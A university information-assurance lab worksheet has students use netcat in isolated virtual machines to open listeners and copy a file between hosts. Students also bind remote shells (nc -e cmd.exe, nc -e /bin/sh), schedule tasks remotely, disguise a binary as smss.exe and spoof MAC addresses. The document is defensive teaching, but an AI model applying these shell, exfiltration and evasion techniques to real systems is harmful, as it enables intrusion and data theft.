IT430 – Lab 4 – Gaining Network Access

Names _____________________________, __________________________________

Directions:  Work in groups of 2 to complete the following tasks and provide answers 

Goals:

· Understand how hackers might use a listener program to gain access to a network

· Understand how programs bypass anti-virus controls

· To start this lab open the VMware images Green XP and Blue XP and take snapshots of each image.  Note when you see []'s in this lab, do not type the []'s just the information inside it.  Place the VMware in Host Only Ethernet for both images.  Start the images, then log in as student to the Green XP (as student) and Blue XP (as admin).  These images are located at c:\Information Assurance.  Password: GoNavy1!   .  Change the Green XP to IP 10.10.10.10 and the Blue XP to 10.10.10.20.  Subnet Masks 255.255.255.0 Do your pings to make sure you have a good connection.  Ensure your firewall for Green XP is turned off.  
· Note there are a number of versions of netcat.  Many linux and unix are shipped with netcat.  Windows requires a separate download.  Currently linux and unix downloads are available at  http://netcat.sourceforge.net  to your host PC.    What "services" can netcat provide the system administrator (and likewise the smart hacker)? (starting at pg 491-506 in your book)
· From the Green XP drag the nc.exe icon down to the HOST computer's desktop then drag the file to the desktop.  VMWare supports drag and drop from a Windows host to a VM image.  If it is already there…oh happy days, just try the drag and drop feature (Only works windows to windows and you must have administrator privileges to the VM image).  Note that the Windows version of netcat is no longer readily available on the web (they are writing an "improved version".  So you have to take the windows version from the Green XP image.
· Go to the Green image.  From the command line change directory to the desktop directory and check the processes, ports and protocols with the netstat command netstat  –na
· At the prompt start netcat by typing nc –l –p 80
· Open another command window and check your processes, protocols and ports again.  What did the nc command do and what protocol is it using?

· What type of traffic generally travels on port 80?   Can you generally block port 80 and effectively meet all user requirements?

· Go back and close out the command window that has the nc command in it.  Check the processes, protocols and ports and you should see that it “undid” what it did in the previous command.

· Switch to the Blue XP image – in the appropriate directory type nc –l –u –p 8888

· What did this command do?  What protocol is it using? (Check by opening up another command window in Blue XP)  Close out of that command window
· What is the IP address of your:  Blue XP Image?    Green XP Image?
· Exit from netcat in the Blue XP image.

· In the Blue XP Image, create a file with notepad and type (don't type the []'s)  
 This is the Blue XP Image with an IP of [whatever the IP address is]  Save it on the desktop named[yourname]blue.txt
· From the Green XP Image (destination), go to a command line.  Change directory to 
the desktop  Type nc –l –p 80 > [yourname]stolenfile.txt 
· If it doesn't work, make sure you are in the desktop directory.  From the Blue XP Image (Source), go to a command line, change directory to the desktop and type 
nc [IP Address of Green XP Image]  80 < [yourname]blue.txt
· Wait 2 seconds (to give enough time to transmit) Then Control C or close out of the command window from the Green Image.  Verify that the Green image has a [yourname]stolenfile.txt with the text that you had in [yourname]green.txt  (From command line you can type yournamestolenfile.txt or you can double click the file from the desktop
· Describe what you just did and the associated results (including what each of the arguments (nc, -l, -p, 1234, <,  >,  blue.txt, green.txt, and stolenfile.txt) did on both the client side and the listener side.  If you’re not sure, check your textbook and run further experiments.
· Up to this point you will notice that Green XP did not need the password for Blue XP yet you "stole" a file from Blue, who just happened to be Admin with lots of priviledges.  Name two ways that Blue XP could have gotten a copy of netcat and executed the above statement to "allow" an open connection with Green XP. (Look at the size of netcat…pretty small for being so powerful…eh?)
· Turn on the firewall on the Blue XP Image (Network Connections, Advanced).  Does the file transfer still work?  Why? (Hint:  look at both in coming and outgoing traffic rules)
· What port would you generally want to use to evade firewall filtering?
· What are the possible hacker advantages of Netcat over Telnet given what you see (address authentication, ports and protocols)?
· Why would it be dangerous to keep a spare copy of netcat on your computer in the hall (that you connect to the web with)?

· Go to the Blue XP and verify that you have no scheduled tasks.  Type 
schtasks 

· Now in the Green XP you will see how to create a scheduled task with schtasks /create /
· Schedule the calculator to come up with 
schtasks /Create /TR calc.exe /ST [hh:mm:ss 2 minutes from now as noted on the image] /SC Once /RU student  /RP GoNavy1!  /TN test1    (hh is military time)
· You will have to type in the student’s password (so you need administrator access to schedule a task)

· Explain what each of the /Create, /TR /ST /SC, RU, RP and /TN switches did in this case schtasks /Create /?
· From the Green XO command line 
copy c:\windows\system32\calc.exe "c:\Documents and Settings\Student\Desktop\smss.exe "  Now go to the desktop and double click on smss.exe.  The calculator should come up.  Now go to VM, Send Cntrl+Alt+Del, go to task manager and try to delete the smss.exe started by student.  If you had renamed a copy of something like netcat to smss.exe what would be the implications in scheduling / deleting tasks?  
· Now we are going to combine scheduling tasks with netcat to show the power of remotely starting “evil” programs, backdoors etc.
· Shut down and close the Blue XP Image (shut down and wait for it to close all network connections etc.)  Delete the snapshot you created.
· Open the Red Hat Linux Image, take the snapshot, set it to broadcast mode and start it, login as student, password: GoNavy1! then su root

· Open a terminal window and type /sbin/ifconfig eth0 10.10.10.30
· Now verify that you changed the address with /sbin/ifconfig then ping 10.10.10.10
· On the Green XP Image, go to the command line, switch to the desktop directory and type 
nc –l –p 80 -e cmd.exe
· Now from the Red Hat type nc 10.10.10.10 80
· In a few seconds, you should now see a command prompt for the Green Image in the Red Hat terminal window.  Anything you type here should be treated as if you were typing at the Green XP command line (so you would use Windows commands versus linux commands).
· Now we combine the task scheduling remotely (which can only be done from an account with Admin privileges)… so on the Red Hat Image, at the Microsoft prompt first type time (and then hit enter so not to change the time) then type
schtasks /Create /TR calc.exe /ST [hh:mm:ss 2 minutes from now] /SC Once /RU student  /RP studentit430 /TN test1    (military time of the Green XP box)  then type schtasks to verify that your task is on the list to be processed.  Wait 2 minutes and you should see the calculator come up in the Windows XP box (if not, you may have to change test1 to another unique identifier like test2 etc.)
· Note that it works both ways, so from Windows you could get into a Unix box.  So now from the Red Hat (to get a unix shell) type  nc –l –p 80 –e /bin/sh then from Green XP type nc 10.10.10.10 80 Notice that under Green XP the screen will look black but you are in, just not getting a command prompt.  Type an ls then a /sbin/ifconfig to verify that you are in on the Red Hat machine from Green XP
· Why would an attacker who needs a root password in order to schedule an event want to remotely schedule an event out in the future (say 90 days), rather than just using the root password, getting into the system and viewing everything now?
· Now think like a bad guy.  Keeping in mind that you can remotely run a command  from whichever account opens the netcat, how might a hacker who does not have root access to the victim get into the victim’s system as root and perform command that might be useful to hacking? 

· Look at the netcat.c file (www.cs.usna.edu/~augustin) , go to the very bottom and you will see many of the netcat switches used in plain English.  How could a hacker (who knew C programming) change the code to get around virus checkers that might have netcat in their “bad programs” signature files?

Part II – MAC Address Spoofing
· From the command line of your Green XP determine your MAC Address for the VM Image (ipconfig /all).  Write down this MAC Address

· Go to the net and download http://pcwin.com/Utilities/HashTab/index.htm and install it (if not already installed).  To find out if installed right click on start->explore, click on a file, right click on file properties and you would have a "File Hashes" tab.  Note Unix and Linux comes with a built in command md5sum for the same purpose
· What is an MD5 hash and what is its purpose?

· Why must you always check a trusted source for the MD5 hash before downloading any security tool?  Generally, is the download web site a trusted source?
· Go to www.gorlani.com/publicprj/macmakeup/macmakeup.asp and download the Mac Makeup  and the oidb.hcw (at the bottom of the page), IF it is the correct hash, then extract it and drag and drop both the MacMakeup and the oidb.hcw to the VM Image (unless already there).   Open the program

· Select the appropriate adapter (VM Ware adapter)

· Choose any one of the Cisco systems type adapter cards (realistic to what many cards have for Ethernet) then hit the change button
· Why do you have to choose the card manufacturer to get a realistic MAC address (note the first six digits that it gives you as a MAC address)?

· Why would an attacker spoof his or her MAC address?
· What type of attacker would effectively spoof a MAC address (based on the answer to the question above? (Terrorist overseas, someone in the United States, an insider)  Why?
· How then could you be both an insider and Nation State supported?
· Restart the Windows image and after login, go to the command prompt.  What is your new MAC address

· Go back into the Mac Makeup program, and hit the remove button.  Go to the command prompt.  Is the MAC address back to its original state?
· If you changed the MAC address on your computer in order to work around the Commandant’s instruction, would this violate the honor concept?  Why?
· The Mac Makeup program claims to be “free” but not open source (source code is not available).  Its developer is an Italian individual (versus a large well known company) Why could this software be potentially dangerous to use?
· Now shut down all images, wait for them to shutdown completely, then delete any snapshots that you took.  Hand this lab sheet into your instructor.
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